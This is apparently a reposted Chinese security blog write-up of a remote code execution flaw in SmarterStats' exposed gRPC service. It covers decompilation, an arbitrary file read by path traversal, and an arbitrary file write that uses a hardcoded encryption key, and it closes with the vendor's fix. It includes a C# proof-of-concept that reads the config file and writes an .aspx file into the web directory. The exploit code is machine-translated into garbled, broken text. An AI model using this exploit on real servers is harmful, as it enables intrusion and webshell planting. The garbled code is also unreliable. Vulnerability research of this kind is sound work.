SmarterStat 基于 gRPC 的 RCE

admin 2022年7月11日09:05:24评论40 views字数 3058阅读10分11秒阅读模式

环境

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

分析

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

SmarterStat 基于 gRPC 的 RCE

拉到dnspy中看一下

SmarterStat 基于 gRPC 的 RCE

main函数启动了一个SSCollect服务类。

SmarterStat 基于 gRPC 的 RCE

服务类调用了ServiceWorker.StartService()

SmarterStat 基于 gRPC 的 RCE

新一个处理函数ServiceLifetimeFunction

SmarterStat 基于 gRPC 的 RCE

这里调了ServiceWorker.Start()

SmarterStat 基于 gRPC 的 RCE

启动中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务

SmarterStat 基于 gRPC 的 RCE

分别对应

  1. 查询 -> QueryServiceImplementation

  2. 站点列表 -> 站点列表服务实现

  3. ServiceOperations -> ServiceOperationsServiceImplementation

  4. 站点控制 -> 站点控制服务实现

并且端口绑定在0.0.0.0:50003上

顺便点开一个服务来看看 QueryServiceImplementation

SmarterStat 基于 gRPC 的 RCE

服务运营服务实施

SmarterStat 基于 gRPC 的 RCE

能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc客户端的工具类

SmarterStat 基于 gRPC 的 RCE

把这个代码dll加入引用中,然后如下。

SmarterStat 基于 gRPC 的 RCE

这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

下一个就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)任意读取文件

这里需要关闭 dnspy 的编译优化查看具体逻辑

SmarterStat 基于 gRPC 的 RCE

SmarterStat 基于 gRPC 的 RCE

SmarterStat 基于 gRPC 的 RCE

SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

可选写入文件

SmarterStat 基于 gRPC 的 RCE

加密密钥编码硬件,没用。

SmarterStat 基于 gRPC 的 RCE

经验

使用 Grpc.Core 使用 系统使用 System.Collections.Generic 使用 System.Linq 使用 System.Text 使用 System.Threading.Tasks 使用 SmarterStats.Config.Protos 使用 Google.Protobuf.WellKnownTypes 使用 SmarterStats.Config.Utility 使用 System.IO 使用 Google.Protobuf namespace  Routeguide { 
class Program
{
static async Task < int > Main ( string [] args )
{
var channel = new Channel ( "172.16.16.132:50003" , ChannelCredentials . Insecure );
服务运营ServiceOperationsClient 客户端 = 新的 ServiceOperations ServiceOperationsClient 通道);
GetExportedLogsForSiteRequest 请求 = 新的 GetExportedLogsForSiteRequest ();
请求FileToDownload = @"....MRSApp_DataConfigAppConfig.xml" ;
AsyncServerStreamingCall < GetExportedLogsForSiteResponse > asyncServerStreamingCall = 客户端GetExportedLogsForSite (请求);
等待 asyncServerStreamingCall。ResponseStream。MoveNext {控制台_ _ WriteLine ( asyncServerStreamingCall .

响应流当前. 数据ToStringUtf8 ());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest ();
保存文件到请求文件名 = @"C:Program Files (x86)SmarterToolsSmarterStatsMRStest.aspx" ;
CryptographyHelper cryptographyHelper = 新的 CryptographyHelper ( 0 );
时间戳 时间戳 = 时间戳FromDateTime (日期时间. UtcNow );
保存文件到请求创建日期 = 时间戳
保存文件到请求LastWriteDate = 时间戳
密码学助手SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" ) + " ksghsfkgjh" , null );
字符串 auth = cryptographyHelper EncodeToBase64 ( saveFileToRequest .文件名);
保存文件到请求身份验证 = 身份验证
保存文件到请求文件数据 = 字节串. CopyFromUtf8 文件。ReadAllText @“1.txt” ))客户端SaveFileTo ( saveFileToRequest ); 控制台WriteLine ( "写完。" ); 控制台读键();返回0 ; } } }





修复

GetExportedLogsForSite文件并读取截取了文件名加了鉴权

SmarterStat 基于 gRPC 的 RCE

SaveFileTo 文件写入限制了后缀白并且正则限制了路径

SmarterStat 基于 gRPC 的 RCE

想念

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了后来吧。

SmarterStat 基于 gRPC 的 RCE

参考

  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html


来源先知(https://xz.aliyun.com/t/11475#toc-0)


注:如有绘画请联系删除





SmarterStat 基于 gRPC 的 RCE

欢迎大家一起加群讨论学习和交流

SmarterStat 基于 gRPC 的 RCE

快乐要懂得分享,

加倍的快乐。


原文始发于微信公众号(衡阳信安):SmarterStat 基于 gRPC 的 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日09:05:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SmarterStat 基于 gRPC 的 RCEhttp://cn-sec.com/archives/1170161.html

发表评论

匿名网友 填写信息